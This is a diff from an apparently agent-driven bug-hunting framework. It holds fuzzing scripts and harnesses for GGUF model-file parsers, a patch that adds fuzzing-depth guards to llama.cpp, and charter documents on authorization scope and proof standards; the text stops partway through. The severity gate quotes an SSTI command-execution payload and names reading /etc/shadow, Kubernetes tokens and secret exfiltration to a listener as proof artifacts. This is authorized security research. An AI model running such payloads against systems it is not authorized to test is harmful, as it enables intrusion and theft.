| + | # collect any new crash artifacts produced this burst | |
| + | for c in "$W"/deep/crash-*; do | |
| + | [ -f "$c" ] || continue | |
| + | # triage signature | |
| + | out=$(ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:exitcode=88 timeout 30 "$BIN" "$c" 2>&1) | |
| + | sig=$(echo "$out" | grep -oE "heap-buffer-overflow|stack-buffer-overflow|global-buffer-overflow|heap-use-after-free|double-free|stack-overflow|division by zero|FPE|out-of-memory|GGML_ASSERT|GGML_ABORT|SEGV on unknown" | head -1) | |
| + | loc=$(echo "$out" | grep -oE "gguf\.cpp:[0-9]+|ggml[-a-z]*\.c:[0-9]+|ggml\.c:[0-9]+" | head -1) | |
| + | key="${sig:-unknown}@${loc:-?}" | |
| + | if grep -qxF "$key" "$SIGS"; then | |
| + | rm -f "$c" # duplicate signature, drop | |
| + | else | |
| + | echo "$key" >> "$SIGS" | |
| + | mv "$c" "$CRASH/$(echo "$key" | tr '/: ' '___')_$(basename "$c")" | |
| + | echo "NEWCRASH $key $(date)" >> "$LOG" | |
| + | fi | |
| + | done | |
| + | done | |
| + | echo "deep_loop done $(date)" >> "$LOG" |
| @@ -0,0 +1,76 @@ | ||
| + | #!/bin/bash | |
| + | # HUNT: gguf-tools (antirez) GGUF model-file parser - headline ml-model-loaders archetype. | |
| + | # brain (joern dataflow) + oracle (libFuzzer+ASan on the real parse path). | |
| + | set -e | |
| + | export CYCLOPS_HOME=/opt/cyclops-v2 | |
| + | PY=/opt/cyclops-venv/bin/python | |
| + | T=/opt/cyclops-v2/targets/src/gguf-tools | |
| + | H=/opt/cyclops-v2/oracle/harnesses | |
| + | W=/opt/cyclops-v2/oracle/work/gguf | |
| + | mkdir -p "$H" "$W" "$W/seeds" | |
| + | ||
| + | echo "=== [1/4] BRAIN: joern memory-corruption dataflow on gguflib.c ===" | |
| + | $PY /opt/cyclops-v2/brain/brain.py "github.com/antirez/gguf-tools" "ml-model-loaders" "$T" "c" "fdfafbe" || true | |
| + | ||
| + | echo "=== [2/4] generate a valid seed GGUF (gets the harness past the magic/header) ===" | |
| + | $PY - <<'PYEOF' | |
| + | import struct | |
| + | # minimal valid GGUF v3: magic, version, n_tensors=0, n_kv=1 (one string kv) | |
| + | buf = b"GGUF" | |
| + | buf += struct.pack("<I", 3) # version | |
| + | buf += struct.pack("<Q", 0) # tensor count | |
| + | buf += struct.pack("<Q", 1) # kv count | |
| + | # one kv: key "a" (len-prefixed), type 8 = STRING, value "b" | |
| + | buf += struct.pack("<Q", 1) + b"a" # key | |
| + | buf += struct.pack("<I", 8) # value type STRING | |
| + | buf += struct.pack("<Q", 1) + b"b" # string value | |
| + | open("/opt/cyclops-v2/oracle/work/gguf/seeds/seed1.gguf","wb").write(buf) | |
| + | print("seed bytes:", len(buf)) | |
| + | PYEOF | |
| + | ||
| + | echo "=== [3/4] write libFuzzer harness for the full parse path ===" | |
| + | cat > "$H/gguf_harness.c" <<'EOF' | |
| + | #include <stdint.h> | |
| + | #include <stdlib.h> | |
| + | #include <string.h> | |
| + | #include <unistd.h> | |
| + | #include <fcntl.h> | |
| + | #include "gguflib.h" | |
| + | // Drive the real parse path: gguf_open() mmaps + parses header, then we walk | |
| + | // every key and tensor (attacker-controlled offsets/lengths/type enums). | |
| + | int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { | |
| + | char path[] = "/dev/shm/gguffzXXXXXX"; | |
| + | int fd = mkstemp(path); | |
| + | if (fd < 0) return 0; | |
| + | if (write(fd, data, size) != (ssize_t)size) { close(fd); unlink(path); return 0; } | |
| + | close(fd); | |
| + | gguf_ctx *ctx = gguf_open(path); | |
| + | if (ctx) { | |
| + | gguf_key key; | |
| + | while (gguf_get_key(ctx, &key)) { | |
| + | // touch the value (exercises type dispatch / value parsing) | |
| + | gguf_print_value(ctx, key.type, key.val, 0); | |
| + | } | |
| + | gguf_tensor tensor; | |
| + | while (gguf_get_tensor(ctx, &tensor)) { /* walks tensor info offsets */ } | |
| + | gguf_close(ctx); | |
| + | } | |
| + | unlink(path); | |
| + | return 0; | |
| + | } | |
| + | EOF | |
| + | ||
| + | echo "=== [4/4] compile (ASan+UBSan+fuzzer) and launch background fuzz ===" | |
| + | cd "$W" | |
| + | clang -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \ | |
| + | "$H/gguf_harness.c" "$T/gguflib.c" "$T/fp16.c" "$T/sds.c" \ | |
| + | -I"$T" -lm -o "$W/fuzz_gguf" 2>&1 | tail -5 | |
| + | echo "compiled: $(ls -la $W/fuzz_gguf 2>/dev/null | awk '{print $5}') bytes" | |
| + | # redirect to a log; run in background via nohup; print pid | |
| + | mkdir -p "$W/corpus" && cp "$W/seeds/"* "$W/corpus/" 2>/dev/null || true | |
| + | nohup "$W/fuzz_gguf" -max_total_time=1800 -print_final_stats=1 \ | |
| + | -artifact_prefix="$W/crash-" "$W/corpus" "$W/seeds" \ | |
| + | > "$W/fuzz.log" 2>&1 & | |
| + | echo "FUZZ_PID=$!" | |
| + | sleep 8 | |
| + | echo "=== early fuzz log ==="; tail -8 "$W/fuzz.log" 2>/dev/null |
| @@ -0,0 +1,82 @@ | ||
| + | #!/bin/bash | |
| + | # HUNT: llama.cpp / GGML GGUF parser - headline ml-model-loaders, active CVE surface | |
| + | # (CVE-2024-23496, CVE-2026-7482 class). brain (joern) + oracle (libFuzzer+ASan). | |
| + | set -e | |
| + | export CYCLOPS_HOME=/opt/cyclops-v2 | |
| + | PY=/opt/cyclops-venv/bin/python | |
| + | T=/opt/cyclops-v2/targets/src/llama.cpp | |
| + | H=/opt/cyclops-v2/oracle/harnesses | |
| + | W=/opt/cyclops-v2/oracle/work/llamacpp | |
| + | mkdir -p "$H" "$W" "$W/seeds" "$W/corpus" | |
| + | ||
| + | echo "=== [1/5] BRAIN: joern dataflow on ggml/src/gguf.cpp ===" | |
| + | ( $PY /opt/cyclops-v2/brain/brain.py "github.com/ggml-org/llama.cpp" "ml-model-loaders" \ | |
| + | "$T/ggml/src/gguf.cpp" "c" "fdc3db9" > "$W/brain.log" 2>&1 || true ) & | |
| + | BRAIN_PID=$! | |
| + | ||
| + | echo "=== [2/5] build libggml WITH AddressSanitizer (cmake) ===" | |
| + | cd "$T" | |
| + | cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=OFF \ | |
| + | -DGGML_NATIVE=OFF -DGGML_BACKEND_DL=OFF -DLLAMA_BUILD_TESTS=OFF \ | |
| + | -DLLAMA_BUILD_EXAMPLES=OFF -DLLAMA_BUILD_TOOLS=OFF -DLLAMA_BUILD_SERVER=OFF \ | |
| + | -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \ | |
| + | -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \ | |
| + | > "$W/cmake.log" 2>&1 | |
| + | cmake --build build-asan --target ggml-base -j4 >> "$W/cmake.log" 2>&1 || \ | |
| + | cmake --build build-asan --target ggml -j4 >> "$W/cmake.log" 2>&1 | |
| + | echo "built libs:"; find build-asan -name "libggml*.a" 2>/dev/null | |
| + | ||
| + | echo "=== [3/5] generate a real valid GGUF seed ===" | |
| + | $PY -m pip install --quiet gguf >/dev/null 2>&1 || true | |
| + | $PY - <<'PYEOF' | |
| + | try: | |
| + | import gguf, numpy as np | |
| + | w = gguf.GGUFWriter("/opt/cyclops-v2/oracle/work/llamacpp/seeds/seed.gguf", "fuzz") | |
| + | w.add_uint32("answer", 42); w.add_string("name", "x"); w.add_array("arr", [1,2,3]) | |
| + | w.add_tensor("t0", np.zeros((4,4), dtype=np.float32)) | |
| + | w.write_header_to_file(); w.write_kv_data_to_file(); w.write_tensors_to_file(); w.close() | |
| + | print("seed.gguf written") | |
| + | except Exception as e: | |
| + | # fallback: minimal hand-rolled valid header | |
| + | import struct | |
| + | b=b"GGUF"+struct.pack("<I",3)+struct.pack("<Q",0)+struct.pack("<Q",1) | |
| + | b+=struct.pack("<Q",1)+b"a"+struct.pack("<I",4)+struct.pack("<I",7) | |
| + | open("/opt/cyclops-v2/oracle/work/llamacpp/seeds/seed.gguf","wb").write(b) | |
| + | print("fallback seed written:", e) | |
| + | PYEOF | |
| + | cp "$W/seeds/"* "$W/corpus/" 2>/dev/null || true | |
| + | ||
| + | echo "=== [4/5] write + compile libFuzzer harness (in-memory via fmemopen) ===" | |
| + | cat > "$H/llamacpp_gguf_harness.cpp" <<'EOF' | |
| + | #include <cstdio> | |
| + | #include <cstdint> | |
| + | #include <cstddef> | |
| + | #include "ggml.h" | |
| + | #include "gguf.h" | |
| + | extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { | |
| + | FILE *f = fmemopen((void*)data, size, "rb"); | |
| + | if (!f) return 0; | |
| + | struct gguf_init_params p; p.no_alloc = true; p.ctx = nullptr; | |
| + | struct gguf_context *ctx = gguf_init_from_file_ptr(f, p); | |
| + | if (ctx) gguf_free(ctx); | |
| + | fclose(f); | |
| + | return 0; | |
| + | } | |
| + | EOF | |
| + | LIBS=$(find "$T/build-asan" -name "libggml*.a" 2>/dev/null | tr '\n' ' ') | |
| + | echo "linking: $LIBS" | |
| + | clang++ -g -O1 -fsanitize=fuzzer,address,undefined -fno-omit-frame-pointer \ | |
| + | "$H/llamacpp_gguf_harness.cpp" -I"$T/ggml/include" \ | |
| + | $LIBS -lm -lpthread -fopenmp -lgomp -o "$W/fuzz_llgguf" 2>"$W/compile.log" \ | |
| + | && echo "HARNESS COMPILED: $(ls -la $W/fuzz_llgguf | awk '{print $5}') bytes" \ | |
| + | || { echo "COMPILE FAILED:"; tail -15 "$W/compile.log"; exit 1; } | |
| + | ||
| + | echo "=== [5/5] launch background fuzz campaign (2h) ===" | |
| + | wait $BRAIN_PID 2>/dev/null || true | |
| + | echo "brain:"; grep -E "HYPOTHESES|paths" "$W/brain.log" 2>/dev/null | tail -3 | |
| + | nohup "$W/fuzz_llgguf" -max_total_time=7200 -rss_limit_mb=4096 -timeout=25 \ | |
| + | -print_final_stats=1 -artifact_prefix="$W/crash-" "$W/corpus" "$W/seeds" \ | |
| + | > "$W/fuzz.log" 2>&1 & | |
| + | echo "FUZZ_PID=$!" | |
| + | sleep 12 | |
| + | echo "=== early fuzz status ==="; tail -6 "$W/fuzz.log" 2>/dev/null |
| @@ -0,0 +1,33 @@ | ||
| + | #!/usr/bin/env python3 | |
| + | """Guard the KNOWN-shallow div-by-zero sites in gguf.cpp so the fuzzer gets PAST | |
| + | tensor-shape validation and explores deeper tensor-data/offset handling (where a | |
| + | novel memory-corruption bug would live). These are fuzzing-depth guards, NOT a | |
| + | security fix - they neutralize the disclosed V-05/V-06-class and our line-681 DoS | |
| + | so distinct, higher-severity crashes can surface. | |
| + | """ | |
| + | import sys | |
| + | p = "/opt/cyclops-v2/targets/src/llama.cpp/ggml/src/gguf.cpp" | |
| + | src = open(p).read() | |
| + | PATCHES = [ | |
| + | ("INT64_MAX/info.t.ne[1] <= info.t.ne[0]", | |
| + | "info.t.ne[1]!=0 && INT64_MAX/info.t.ne[1] <= info.t.ne[0]"), | |
| + | ("INT64_MAX/info.t.ne[2] <= info.t.ne[0]*info.t.ne[1]", | |
| + | "info.t.ne[2]!=0 && INT64_MAX/info.t.ne[2] <= info.t.ne[0]*info.t.ne[1]"), | |
| + | ("INT64_MAX/info.t.ne[3] <= info.t.ne[0]*info.t.ne[1]*info.t.ne[2]", | |
| + | "info.t.ne[3]!=0 && INT64_MAX/info.t.ne[3] <= info.t.ne[0]*info.t.ne[1]*info.t.ne[2]"), | |
| + | ("uint64_t(ggml_nelements(&info.t)/ggml_blck_size(info.t.type)) > SIZE_MAX/ggml_type_size(info.t.type)", | |
| + | "ggml_blck_size(info.t.type)!=0 && ggml_type_size(info.t.type)!=0 && uint64_t(ggml_nelements(&info.t)/ggml_blck_size(info.t.type)) > SIZE_MAX/ggml_type_size(info.t.type)"), | |
| + | ("info.t.nb[1] = info.t.nb[0]*(info.t.ne[0]/blck_size);", | |
| + | "info.t.nb[1] = info.t.nb[0]*(blck_size?info.t.ne[0]/blck_size:0);"), | |
| + | ] | |
| + | n = 0 | |
| + | for a, b in PATCHES: | |
| + | if a in src and b not in src: | |
| + | src = src.replace(a, b); n += 1 | |
| + | print("patched:", a[:50]) | |
| + | elif b in src: | |
| + | print("already:", a[:50]) | |
| + | else: | |
| + | print("NOT FOUND:", a[:50]) | |
| + | open(p, "w").write(src) | |
| + | print(f"applied {n} fuzz-depth guards") |
| @@ -0,0 +1 @@ | ||
| + | {} |
| @@ -0,0 +1,141 @@ | ||
| + | # OPERATING-CORE - The Binding Charter | |
| + | ||
| + | This is the constitution of Cyclops v2. Every hunt, every loop iteration, every report is bound by | |
| + | it. When in doubt, this document wins over cleverness, momentum, or a promising-looking lead. | |
| + | ||
| + | Related: [[SEVERITY-GATE]] · [[../06-methods/NOVELTY-DOCTRINE]] · [[../04-cleared-axes/README|cleared-axes log]] | |
| + | ||
| + | --- | |
| + | ||
| + | ## 1. Authorization - the only place Cyclops is allowed to point | |
| + | ||
| + | Cyclops runs against **consenting targets only**. The permitted set is exhaustive; if a target is | |
| + | not on it, the answer is no. | |
| + | ||
| + | **ALLOWED** | |
| + | - **Owned infrastructure** - hosts, accounts, and orgs Zion controls. | |
| + | - **Local replicas** - the actual target software pulled and run on disposable infra we own | |
| + | (`docker run`, a throwaway VM, a sandbox CT). This is the default and preferred arena: full root, | |
| + | full instrumentation, no third-party impact. | |
| + | - **Disposable labs** - purpose-built detonation environments (e.g. Whonix/airlock CTs, throwaway | |
| + | cloud accounts funded by us) where the *only* tenant is us. | |
| + | - **Public bounty / VDP scope** - but only where (a) the asset is explicitly in scope, and (b) the | |
| + | *method* is permitted by that program's rules. A bounty that forbids automated scanning forbids it | |
| + | for us too. | |
| + | ||
| + | **FORBIDDEN - no exceptions, no "just to confirm"** | |
| + | - Any non-consenting third party, full stop. "It was probably vulnerable" is not consent. | |
| + | - Mass scanning / spraying / internet-wide enumeration. We are a precision instrument, not a scanner. | |
| + | - Pivoting from an in-scope host to an out-of-scope one. | |
| + | - Touching real user data on a live multi-tenant system when a replica would prove the same thing. | |
| + | ||
| + | **The replica-first rule.** If a finding can be proven on a local replica, it **must** be - we do | |
| + | not validate on a live third-party system when an owned copy reproduces the bug. Live systems are | |
| + | only for the final canary step (see proof labels) and only inside permitted scope. | |
| + | ||
| + | --- | |
| + | ||
| + | ## 2. The only proof is an execution artifact | |
| + | ||
| + | This is the rule v1 violated on every finding. v1 reasoned its way to "this is exploitable" and | |
| + | wrote a report. v2 does not get to reason its way to a finding. A finding exists when, and only when, | |
| + | an **artifact produced by execution** demonstrates the impact. | |
| + | ||
| + | An execution artifact is one of: | |
| + | - An **ASan / UBSan / MSan crash report** with a controlled fault address or a write to attacker | |
| + | data (memory-corruption families). | |
| + | - A **popped shell / command output** proving code execution (`id`, a callback to our listener, a | |
| + | file written to `/tmp/pwned` by the target process). | |
| + | - A **retrieved secret** that we were not authorized to hold (a dumped `.env`, a cloud metadata | |
| + | credential, a signing key, another tenant's row). | |
| + | - A **state change** that proves the impact (balance moved, a privilege escalated and re-authed, a | |
| + | second tenant's object mutated under our session). | |
| + | ||
| + | **Not an artifact, never a finding:** | |
| + | - "The sink is reachable from the source." (reachability ≠ exploitation) | |
| + | - "An LLM rated this exploitable / critical / 9.8." (an opinion is not an oracle) | |
| + | - "This pattern matches CVE-XXXX-YYYYY." (a shape match is a hypothesis, not a result) | |
| + | - "The payload was reflected / the parameter is injectable." (injection ≠ the impact at the end of | |
| + | the chain - see [[SEVERITY-GATE]] overclaim traps) | |
| + | ||
| + | > The dynamic oracle is the judge. Source reading, CPG queries, and LLM analysis only generate | |
| + | > **hypotheses to feed the oracle**. They never close a case. | |
| + | ||
| + | --- | |
| + | ||
| + | ## 3. Proof labels - the four states a candidate can be in | |
| + | ||
| + | Every candidate carries exactly one label. The label is a claim about *how hard the evidence is*, | |
| + | and it gates what we are allowed to say and do next. | |
| + | ||
| + | | Label | Meaning | Evidence required | What it unlocks | | |
| + | |---|---|---|---| | |
| + | | **SOURCE_CONFIRMED** | We have a concrete source→sink path with a plausible kill chain, derived from code/CPG. | A specific path: file:line of source, the sink, the dataflow, why the guard is absent/bypassable. | Permission to build a replica and attempt the oracle. **Not** report-worthy on its own. | | |
| + | | **REPLICA_CONFIRMED** | The exploit fired against a local replica we own. | An execution artifact (§2) reproduced on our copy of the target, with the exact build/version pinned. | Permission to draft a report and (if in scope) attempt a live canary. | | |
| + | | **LIVE_CANARY_CONFIRMED** | The exploit fired against the authorized live target, proven by a benign canary. | The minimal, non-destructive artifact on the live in-scope asset (an OOB DNS/HTTP callback, a read of *our own* planted canary file, `id` with no further action). | A finished, submittable report. | | |
| + | | **DISPROVEN** | We drove the oracle and the impact did **not** materialize. | The negative result + the reason (guard present, sink not attacker-controlled, allocation not corruptible, etc.). | A [[../04-cleared-axes/README|cleared-axes]] entry. **This is a success - see §5.** | | |
| + | ||
| + | Label discipline: | |
| + | - You may never skip from SOURCE_CONFIRMED straight to a report. The replica step is mandatory. | |
| + | - A live canary must be the **smallest possible** proof. We prove RCE with a DNS callback, not with | |
| + | `rm -rf`. We prove file-read with our own planted canary, not with someone's real secrets. | |
| + | - Downgrade is allowed and expected. A REPLICA_CONFIRMED that fails to reproduce on a clean rebuild | |
| + | is downgraded to SOURCE_CONFIRMED or DISPROVEN. Flaky is not confirmed. | |
| + | ||
| + | --- | |
| + | ||
| + | ## 4. The anti-drift rule - log cleared axes, rotate archetypes | |
| + | ||
| + | v1's fatal pattern: it found one promising-feeling class (IDOR), and ground on it across every | |
| + | target forever, because each near-miss felt like it was *almost* there. v2 makes drift structurally | |
| + | impossible: | |
| + | ||
| + | 1. **Every axis you clear is logged.** When you screen a (target, archetype, axis) and it does not | |
| + | yield a gate-family path, you write a [[../04-cleared-axes/README|cleared-axes]] entry *before* | |
| + | moving on. This is not bookkeeping - it is the memory that stops you re-walking the same ground | |
| + | and the proof that you actually covered breadth. | |
| + | 2. **You must rotate archetypes.** A hunt session may not spend its entire budget inside one | |
| + | [[../01-archetypes/electron-desktop|archetype]]. If an archetype yields no SOURCE_CONFIRMED path | |
| + | within its time box, rotate to the next and log the cleared axes. Tunnel-vision is a process | |
| + | failure, caught by the rotation requirement. | |
| + | 3. **You must rotate the angle within a target.** The same target gets attacked from multiple | |
| + | archetype lenses (an Electron AI app is *both* [[../01-archetypes/electron-desktop|electron]] | |
| + | *and* [[../01-archetypes/ai-agent-mcp|mcp]] *and possibly* [[../01-archetypes/ml-model-loaders|model-loader]]). | |
| + | One target, one lens, then "nothing here" is the v1 mistake. | |
| + | 4. **No low-severity consolation prizes.** When you notice an IDOR / missing-header / verbose-error, | |
| + | it goes to the cleared-axes log as a hardening note, **not** to a finding. The [[SEVERITY-GATE]] | |
| + | forbids opening a report off-path. This kills the drift at its source: there is no reward for the | |
| + | low-severity behavior, so the agent stops doing it. | |
| + | ||
| + | --- | |
| + | ||
| + | ## 5. DISPROVEN is a success | |
| + | ||
| + | This is a cultural inversion v2 must internalize. v1 treated a non-finding as a failure, so it kept | |
| + | straining to manufacture a finding out of a reachable-but-unexploitable path. That is exactly how you | |
| + | ship slop. | |
| + | ||
| + | In v2: | |
| + | - A clean **DISPROVEN** with a documented reason is a **completed unit of work**. It permanently | |
| + | retires an axis, it sharpens the [[../04-cleared-axes/README|cleared-axes]] memory, and it frees | |
| + | budget for a fresh archetype. | |
| + | - The success metric is **coverage of high-value axes with hard verdicts**, not finding-count. A | |
| + | session that DISPROVES six gate-family hypotheses with artifacts (or artifact-attempts) is a *good* | |
| + | session, even with zero reports. | |
| + | - The only failure is an **unforced label inflation**: calling something REPLICA_CONFIRMED without | |
| + | an artifact, opening a report off-path, or re-walking a cleared axis. Those are process violations. | |
| + | ||
| + | > The job is not "find a bug." The job is "drive every high-value hypothesis to a hard verdict." | |
| + | > Sometimes the hard verdict is DISPROVEN, and that is the system working. | |
| + | ||
| + | --- | |
| + | ||
| + | ## 6. The loop, in one paragraph | |
| + | ||
| + | Pick a [[../01-archetypes/electron-desktop|target archetype]] → pull the *freshest* in-scope code | |
| + | ([[../06-methods/NOVELTY-DOCTRINE|novelty doctrine]]) → build the boundary map → run the | |
| + | [[../06-methods/NOVELTY-DOCTRINE|CPG]] to enumerate source→sink paths that lead to a | |
| + | [[SEVERITY-GATE|gate family]] → mark the best as SOURCE_CONFIRMED → check it is **not** a | |
| + | sibling-CVE → stand up a replica → drive the dynamic oracle → REPLICA_CONFIRMED (artifact) or | |
| + | DISPROVEN (logged) → if confirmed and in scope, minimal LIVE_CANARY_CONFIRMED → report. Then **log | |
| + | the cleared axes and rotate the archetype**. Forever. |
| @@ -0,0 +1,245 @@ | ||
| + | # SEVERITY-GATE - The Hard Gate | |
| + | ||
| + | This is the gate every candidate must pass before it can become a finding report. It encodes Zion's | |
| + | P1 "holy-shit" impact taxonomy as **eight impact families**. For each family it states the **exact | |
| + | oracle** that counts as PROVEN, and the **v1 overclaim traps** that do NOT count. | |
| + | ||
| + | **The binding rule:** | |
| + | ||
| + | > Cyclops MUST NOT open a finding report unless the candidate is on a *demonstrable path* to one of | |
| + | > the eight families below, **and** the family's oracle has fired (per [[OPERATING-CORE#3-proof-labels-the-four-states-a-candidate-can-be-in|proof labels]]). | |
| + | > Anything below this bar - hardening notes, missing headers, blind reachability, info leaks without | |
| + | > impact - goes to the [[../04-cleared-axes/README|cleared-axes log]], **never** to a report. | |
| + | ||
| + | "Demonstrable path" means: at SOURCE_CONFIRMED time you can name the endpoint of the chain and it is | |
| + | one of these families. If the best honest endpoint is "attacker can read an object they shouldn't" - | |
| + | that is not on this list, and you stop and log it. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 1 - Remote Code Execution (the crown) | |
| + | ||
| + | Covers: Unauth RCE, Pre-Auth RCE, Wormable RCE, RCE via Deserialization / File-Upload / | |
| + | Template-Injection (SSTI) / Command-Injection / SQLi-to-RCE, Reverse Shell, Web Shell. | |
| + | ||
| + | **PROVEN (oracle):** code we chose runs in the target process. The artifact is one of: | |
| + | - A callback to our listener (`curl`/DNS/TCP) from the target host, fired by our payload. | |
| + | - `id` / `uname -a` / `hostname` output returned through the exploit channel. | |
| + | - A file we wrote to the target FS from inside the target process (`/tmp/cyclops-$RAND`). | |
| + | - For wormable: the above **plus** a demonstrated propagation primitive (the same payload reaches the | |
| + | next host with no new auth). | |
| + | ||
| + | **Does NOT count (v1 traps):** | |
| + | - "The deserializer accepts our object" - until a gadget chain actually executes, this is | |
| + | SOURCE_CONFIRMED at best. *Reaching* `pickle.loads` / `yaml.load` / `ObjectInputStream` is a | |
| + | hypothesis; a popped shell is the finding. | |
| + | - "SSTI: `{{7*7}}` reflected `49`" - that is template *evaluation*, not yet RCE. The finding is | |
| + | `{{ cycler.__init__.__globals__.os.popen('id') }}` (or the engine's equivalent gadget) returning | |
| + | command output. Expression eval alone goes no further than SOURCE_CONFIRMED. | |
| + | - "The upload endpoint accepts a `.php`/`.jsp`" - until the shell is *reached and executes*, you have | |
| + | an upload, not RCE. Prove the webroot path is served and the handler runs. | |
| + | - "Command string is built from user input" - concatenation is a hypothesis; you need the injected | |
| + | command's *output* or callback. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 2 - Container / VM / Sandbox / Hypervisor Escape & Orchestrator Takeover | |
| + | ||
| + | Covers: container breakout, VM/sandbox/hypervisor escape, Kubernetes / Docker-socket takeover, | |
| + | kernel / bootloader / firmware compromise. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Container/sandbox escape:** a read or write on the **host** filesystem or host process namespace | |
| + | from inside the container (e.g. our canary file at `/host-canary` created from the container; a | |
| + | process visible in the host PID namespace; reading the host's `/etc/shadow` via an escaped mount). | |
| + | - **Docker-socket / K8s takeover:** scheduling a pod/container we control on a node we should not | |
| + | control, proven by command output from that node, **or** reading a cluster secret | |
| + | (`/var/run/secrets/kubernetes.io/serviceaccount/token`) that grants cross-namespace action we then | |
| + | demonstrate. | |
| + | - **Hypervisor escape:** guest-to-host code execution proven by an artifact on the host. | |
| + | - **Kernel/firmware:** a controlled kernel crash with attacker-controlled fault (ASan/KASAN/oops with | |
| + | our pattern in RIP/registers), or a privilege transition to ring-0 capability demonstrated. | |
| + | ||
| + | **Does NOT count:** | |
| + | - "We are root *inside* the container." That is the starting position, not an escape. | |
| + | - "The container has `CAP_SYS_ADMIN` / a mounted socket." That is a misconfig *observation*; the | |
| + | finding is the demonstrated breakout using it. | |
| + | - "Node-to-node lateral movement is theoretically possible." Demonstrate the second node or it is | |
| + | SOURCE_CONFIRMED. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 3 - Cloud / Identity Account Takeover & Privilege Escalation | |
| + | ||
| + | Covers: cloud (AWS/Azure/GCP) account takeover, IAM priv-esc to admin, cross-tenant / tenant-isolation | |
| + | break, SSO/SAML/OAuth bypass + ATO. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Cloud ATO:** credentials (access key, session token, service-account JSON) retrieved **and** used | |
| + | to perform an action we were not entitled to, proven by the API response (e.g. | |
| + | `sts:GetCallerIdentity` returning a role we hijacked, then a `s3:ListBucket` on a bucket we should | |
| + | not see - against *our own* canary resources where possible). | |
| + | - **IAM priv-esc:** starting principal A, end as admin/role B, proven by an action only B can take. | |
| + | - **Cross-tenant break:** reading or mutating **tenant B's** data while authenticated as **tenant A** | |
| + | - with both tenants being *our own* planted accounts holding canary data. The artifact is tenant | |
| + | A's session returning tenant B's canary. | |
| + | - **SSO/SAML/OAuth bypass:** a forged/relayed assertion or bypassed check that logs us in as a | |
| + | *different* user (our second canary user), proven by that user's authenticated session. | |
| + | ||
| + | **Does NOT count (the biggest v1 trap):** | |
| + | - **"Injection reachable" ≠ "ATO completes."** A JWT with `alg:none` *accepted* by a debug endpoint | |
| + | is not ATO until you forge a token for a *privileged* user and perform a privileged action with it. | |
| + | - "The OAuth `redirect_uri` allows an open redirect" - that is a redirect; ATO needs the *token/code* | |
| + | captured and exchanged for a session. | |
| + | - "IDOR lets me read another user's profile" - cross-object read of low-value data is **not** a | |
| + | tenant-isolation break unless it crosses a tenant trust boundary into material data. Most IDOR is | |
| + | cleared-axes, not a finding. (This is the exact class v1 over-reported.) | |
| + | - "SAML response is not signed-checked in this code branch" - prove the forged assertion yields a | |
| + | session; a missing check that some upstream guard catches is DISPROVEN. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 4 - Secret / Key / Repo / Build-Pipeline Compromise | |
| + | ||
| + | Covers: JWT signing key / API key / private key / production secret / CI-CD secret compromise; | |
| + | source-repo / GitHub-org / Actions-runner / build-pipeline takeover. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Secret exfil:** the actual secret value retrieved through the exploit channel (the signing key | |
| + | bytes, the live API key, the `.env` contents) - verified live where safe by a *minimal* benign use | |
| + | (e.g. the API key returns `200` on a `whoami`-style endpoint; the JWT key validates a token we sign). | |
| + | - **Repo/org takeover:** a write we land on a repo/org we should not control - a commit/branch/tag we | |
| + | pushed to a protected target (against *our own* canary repo for replica proof), or a workflow we | |
| + | caused to run with elevated `GITHUB_TOKEN` permissions. | |
| + | - **Actions-runner / pipeline takeover:** code execution on the runner proven by an artifact (callback | |
| + | from inside the CI job, or exfil of `secrets.*` / the `GITHUB_TOKEN` to our listener). See | |
| + | [[../01-archetypes/cicd-supplychain]]. | |
| + | ||
| + | **Does NOT count:** | |
| + | - "This key *looks* like a secret in the JS bundle" - a string that matches a regex is a hypothesis. | |
| + | Prove it is live and grants access (minimal benign call), or it is cleared-axes. | |
| + | - "The workflow uses `pull_request_target`" - that is a *risky pattern*; the finding is the actual | |
| + | secret/token exfil it enables. Prove the injection executes in the privileged context. | |
| + | - "An expired / revoked / sandboxed test key." Dead keys are not findings. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 5 - Supply-Chain & Dependency Compromise | |
| + | ||
| + | Covers: supply-chain / dependency-confusion / registry / artifact / signing-key compromise. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Dependency confusion:** a package *we* published to a public registry under an internal name is | |
| + | pulled and **executed** by the target's build/install (callback from the install/postinstall step, | |
| + | proven against our own replica build). The artifact is the callback, not the namespace being claimable. | |
| + | - **Artifact/registry poisoning:** a malicious artifact we placed is consumed and run downstream, | |
| + | proven by execution in the consumer. | |
| + | - **Signing-key compromise:** the signing key retrieved (Family 4 oracle) **and** a malicious artifact | |
| + | signed-and-accepted by a verifier we don't control. | |
| + | ||
| + | **Does NOT count:** | |
| + | - "This internal package name is unclaimed on npm/PyPI." Claimability is SOURCE_CONFIRMED. Publishing | |
| + | a benign canary package and observing the *target's pipeline pull and run it* is the finding - and | |
| + | only against in-scope / owned pipelines. **Never** squat a name a non-consenting third party builds. | |
| + | - "The lockfile has a typo-squat-adjacent name." Adjacency is not consumption. | |
| + | ||
| + | --- | |
| + | ||
| + | ## Family 6 - Mass Data Exfil & Financial Impact | |
| + | ||
| + | Covers: mass PII / DB / payment-data exfil; financial theft / payment bypass / balance manipulation; | |
| + | ransomware / data-destruction paths. | |
| + | ||
| + | **PROVEN (oracle):** | |
| + | - **Mass exfil:** a query/endpoint returning bulk records across the authorization boundary, proven on | |
| + | a replica seeded with canary PII - the artifact is the bulk canary set returned to an unprivileged | |
| + | principal. (Live: prove the primitive with a `COUNT(*)` or a single canary row, never bulk-pull real | |
| + | user data.) | |
| + | - **Financial:** a state transition that moves value - balance increased, a payment accepted at the | |
| + | wrong price, a refund issued without debit - proven by the post-state on a replica/canary account. | |
| + | - **Data destruction/ransomware path:** a demonstrated unauthorized write/delete primitive on data we | |
